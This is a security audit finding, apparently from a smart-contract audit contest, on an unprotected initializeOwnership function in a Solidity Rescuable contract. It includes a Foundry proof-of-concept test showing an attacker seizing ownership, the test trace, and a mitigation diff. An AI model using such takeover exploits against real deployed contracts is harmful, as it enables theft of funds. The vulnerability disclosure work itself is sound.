[H-2] Vulnerable Rescuable::initializeOwnership function allows unauthorized takeover if owner is zero address
Summary:
The initializeOwnership function in the Rescuable.sol contract can be called by any address when the owner is the zero address, allowing unauthorized actors to take control of the contract if it ever enters this vulnerable state.
Vulnerability Details:
The Rescuable contract contains an initializeOwnership function intended to set the contract's owner:
function initializeOwnership(address _newOwner) external {
if (owner() != address(0x0)) {
revert AlreadyInitialized();
}
_transferOwnership(_newOwner);
}
This function is designed to be used only when the owner is the zero address. However, it lacks proper access control, allowing any external actor to call this function and become the new owner if the contract ever enters a state where the owner is the zero address.
While the Ownable contract from OpenZeppelin prevents setting the owner to the zero address directly, there might be unforeseen circumstances (such as bugs in future upgrades or unexpected interactions with other contracts) that could lead to this state.
Impact:
This vulnerability has a high severity impact for the following reasons:
Unauthorized Ownership: If the owner is ever set to the zero address, an attacker can gain full control of the contract.
Irreversible: Once an attacker becomes the owner, they can prevent the rightful owner from reclaiming control.
Full Control: The new owner can execute any owner-restricted functions, potentially leading to fund theft or contract sabotage.
Tools Used:
Manual review, Foundry, AI for Troubleshooting
Proof of Concept:
Create a test file RescuableTest.t.sol in the test directory with the following:
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/utils/Rescuable.sol";
contract RescuableTest is Test {
Rescuable public rescuable;
address public attacker = address(0x1);
address public intendedOwner = address(0x2);
function setUp() public {
rescuable = new Rescuable();
vm.store(address(rescuable), bytes32(uint256(0)), bytes32(uint256(0)));
}
function testExploitInitializeOwnership() public {
assertEq(rescuable.owner(), address(0));
vm.prank(attacker);
rescuable.initializeOwnership(attacker);
assertEq(rescuable.owner(), attacker);
vm.prank(attacker);
rescuable.setPauseStatus(true);
vm.prank(intendedOwner);
vm.expectRevert(abi.encodeWithSignature("OwnableUnauthorizedAccount(address)", intendedOwner));
rescuable.setPauseStatus(false);
vm.prank(intendedOwner);
vm.expectRevert(Rescuable.AlreadyInitialized.selector);
rescuable.initializeOwnership(intendedOwner);
}
}
Run the testExploitInitializeOwnership test using Forge with the following command:
forge test --mt testExploitInitializeOwnership -vvvv
The test results were as follows:
[PASS] testExploitInitializeOwnership() (gas: 47656)
Traces:
[47656] RescuableTest::testExploitInitializeOwnership()
├─ [2323] Rescuable::owner() [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000
├─ [0] VM::assertEq(0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000) [staticcall]
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000001)
│ └─ ← [Return]
├─ [22217] Rescuable::initializeOwnership(0x0000000000000000000000000000000000000001)
│ ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: 0x0000000000000000000000000000000000000001)
│ └─ ← [Stop]
├─ [323] Rescuable::owner() [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000001
├─ [0] VM::assertEq(0x0000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000001) [staticcall]
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000001)
│ └─ ← [Return]
├─ [3072] Rescuable::setPauseStatus(true)
│ ├─ emit Paused(account: 0x0000000000000000000000000000000000000001)
│ ├─ emit SetPauseStatus(status: true)
│ └─ ← [Stop]
├─ [0] VM::prank(0x0000000000000000000000000000000000000002)
│ └─ ← [Return]
├─ [0] VM::expectRevert(OwnableUnauthorizedAccount(0x0000000000000000000000000000000000000002))
│ └─ ← [Return]
├─ [524] Rescuable::setPauseStatus(false)
│ └─ ← [Revert] OwnableUnauthorizedAccount(0x0000000000000000000000000000000000000002)
├─ [0] VM::prank(0x0000000000000000000000000000000000000002)
│ └─ ← [Return]
├─ [0] VM::expectRevert(AlreadyInitialized())
│ └─ ← [Return]
├─ [526] Rescuable::initializeOwnership(0x0000000000000000000000000000000000000002)
│ └─ ← [Revert] AlreadyInitialized()
└─ ← [Stop]
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 334.80µs
These results confirm that:
The attacker successfully became the owner when the previous owner was the zero address.
The attacker could then call owner-only functions (setPauseStatus).
The intended owner could not call owner-only functions.
The initializeOwnership function could not be called again after successful initialization.
Recommended Mitigation:
Implement additional security measures in the Rescuable contract:
The initializeOwnership function can only be called once.
Only a predetermined initializer can call the function.
The new owner cannot be set to the zero address.
The contract's constructor now requires an initializer address to be set.
See updated Rescuable.sol contract below:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Pausable} from "@openzeppelin/contracts/utils/Pausable.sol";
contract Rescuable is Ownable, Pausable {
bytes4 private constant TRANSFER_SELECTOR =
bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 private constant TRANSFER_FROM_SELECTOR =
bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
event SetPauseStatus(bool status);
event Rescue(address to, address token, uint256 amount);
error TransferFailed();
error AlreadyInitialized();
+ bool private initialized;
+ address private immutable initializer;
- constructor() Ownable(_msgSender()) {}
+ constructor(address _initializer) Ownable(_msgSender()) {
+ require(_initializer != address(0), "Initializer cannot be zero address");
+ initializer = _initializer;
+ }
function initializeOwnership(address _newOwner) external {
- if (owner() != address(0x0)) {
- revert AlreadyInitialized();
- }
+ require(!initialized, "Already initialized");
+ require(msg.sender == initializer, "Only initializer can initialize");
+ require(_newOwner != address(0), "New owner cannot be zero address");
_transferOwnership(_newOwner);
+ initialized = true;
}
// ... rest of the contract remains unchanged
}
These changes ensure that:
These modifications significantly reduce the risk of unauthorized ownership takeover, even if the contract somehow enters a state where the owner is the zero address.
